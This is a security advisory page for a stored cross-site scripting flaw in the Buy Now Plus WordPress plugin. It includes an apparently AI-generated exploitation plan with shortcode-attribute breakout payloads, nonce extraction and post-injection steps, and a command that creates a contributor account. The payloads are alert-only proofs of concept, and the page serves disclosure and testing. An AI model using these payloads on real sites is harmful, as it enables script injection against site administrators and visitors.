Buy Now Plus <= 1.0.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
Description
The Buy Now Plus – Buy Now buttons for Stripe plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'buynowplus' shortcode in all versions up to, and including, 1.0.2 due to insufficient input sanitization and output escaping on shortcode attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.0.2Source Code
WordPress.org SVN# Research Plan: CVE-2026-1295 - Authenticated Stored XSS in Buy Now Plus ## 1. Vulnerability Summary The **Buy Now Plus** plugin (versions <= 1.0.2) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `[buynowplus]` shortcode. The vulnerability exists because the plugin fails to properl…
Show full research plan
Research Plan: CVE-2026-1295 - Authenticated Stored XSS in Buy Now Plus
1. Vulnerability Summary
The Buy Now Plus plugin (versions <= 1.0.2) is vulnerable to Stored Cross-Site Scripting (XSS) via the [buynowplus] shortcode. The vulnerability exists because the plugin fails to properly sanitize or escape attributes passed to the shortcode before rendering them into the page's HTML. Authenticated users with Contributor-level permissions or higher can exploit this by embedding a malicious shortcode into a post or page, which will execute JavaScript in the browser of any user (including administrators) who views the content.
2. Attack Vector Analysis
- Shortcode:
[buynowplus] - Vulnerable Parameters: Shortcode attributes (likely
button_id,class, orstyle). Based on typical Stripe button implementations, thebutton_idor a customclassattribute are primary candidates. - Authentication Level: Authenticated (Contributor+). Contributors can create posts and use shortcodes but cannot use
unfiltered_html. - Preconditions: The plugin must be active, and the attacker must have the ability to save a post containing a shortcode.
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode in the main plugin file or an initialization class:
add_shortcode( 'buynowplus', 'buynowplus_shortcode_callback' );(inferred) - Processing: The callback function (e.g.,
buynowplus_shortcode_callback($atts)) receives the attributes. - Parsing: It likely uses
shortcode_atts()to merge user input with defaults. - Sink: The function constructs an HTML string (e.g., an
<a>tag or a<div>for the Stripe button) and concatenates the attributes directly into the HTML without usingesc_attr()oresc_html().- Example Vulnerable Pattern:
return '<a class="' . $atts['class'] . '" href="...">Buy Now</a>';
- Example Vulnerable Pattern:
- Output: The unsanitized HTML is returned by the shortcode handler and rendered by WordPress.
4. Nonce Acquisition Strategy
While the exploitation of the XSS occurs when a user views the page (no nonce required), the injection of the payload requires saving a post as a Contributor.
- Login: Log in as a Contributor user using the
browser_navigateandbrowser_typetools. - Access Post Editor: Navigate to
wp-admin/post-new.php. - Extract Nonce: WordPress requires a nonce (
_wpnonce) to save a post. This can be extracted from the page source or viabrowser_eval:browser_eval("document.querySelector('#_wpnonce').value")
- Save Post: Use the
http_requesttool to send aPOSTrequest towp-admin/post.phpwith the payload in thecontentparameter.
5. Exploitation Strategy
The goal is to inject a payload into a shortcode attribute that breaks out of the HTML attribute and injects a script.
Step 1: Create the XSS Payload
We will use a standard attribute breakout payload. Since we don't have the exact attribute names, we will test the most likely candidate: button_id.
- Target Shortcode:
[buynowplus button_id='"><img src=x onerror=alert(document.domain)>'] - Alternative (if
classis supported):[buynowplus button_id="123" class='"><script>alert(1)</script>']
Step 2: Inject via Post Creation
Send a request to create a post containing the payload.
- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_ID: (obtained from thepost-new.phppage)post_title:XSS Testpost_content:[buynowplus button_id='"><img src=x onerror=alert(document.domain)>']_wpnonce: (extracted from editor)save:Publish
Step 3: Trigger the XSS
Navigate to the newly created post as an administrator.
6. Test Data Setup
- Plugin Installation: Ensure Buy Now Plus v1.0.2 is installed and active.
- User Creation: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password
- Authentication: Log in to the
attackeraccount to capture valid session cookies.
7. Expected Results
- When the post is viewed, the shortcode handler will generate HTML similar to:
<div id="buynowplus-button-"><img src=x onerror=alert(document.domain)>" ...> - The browser will attempt to load the image with the invalid
src=x, triggering theonerrorevent. - An alert box displaying the document domain will appear, confirming Stored XSS.
8. Verification Steps
- Browser Verification: Use
browser_navigateto the post URL and check if thealertis triggered. - HTML Inspection: Use
browser_evalto check the DOM for the injected payload:browser_eval("document.body.innerHTML.includes('onerror=alert')")
- Database Check: Use
wp post get <ID> --field=post_contentvia WP-CLI to confirm the shortcode is stored exactly as sent.
9. Alternative Approaches
If the button_id attribute is sanitized but others are not, try the following attributes:
class:[buynowplus button_id="1" class='"><script>alert(1)</script>']style:[buynowplus button_id="1" style='width:expression(alert(1))'](for older IE) or[buynowplus button_id="1" style='";background-image:url("javascript:alert(1)")']- Attribute Probing: If the attributes are unknown, use
grep -r "add_shortcode" .in the plugin directory to find the callback, thengrep "atts" <file>to identify all supported attributes.
Summary
The Buy Now Plus – Buy Now buttons for Stripe plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the 'buynowplus' shortcode in versions up to 1.0.2. This is caused by insufficient sanitization and output escaping on shortcode attributes such as 'button_id'. Authenticated attackers with Contributor-level access or higher can exploit this by embedding malicious scripts in posts, which execute when the page is viewed by others.
Exploit Outline
To exploit this vulnerability, an attacker with Contributor-level permissions or higher must authenticate and create a new post or page. They insert the [buynowplus] shortcode containing a payload designed to break out of an HTML attribute, such as [buynowplus button_id='"><img src=x onerror=alert(document.domain)>']. Once the post is saved and viewed by any user (including administrators), the script executes in the context of the viewer's browser session. The exploit works because the shortcode handler directly concatenates the attribute values into the rendered HTML without using escaping functions like esc_attr().
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.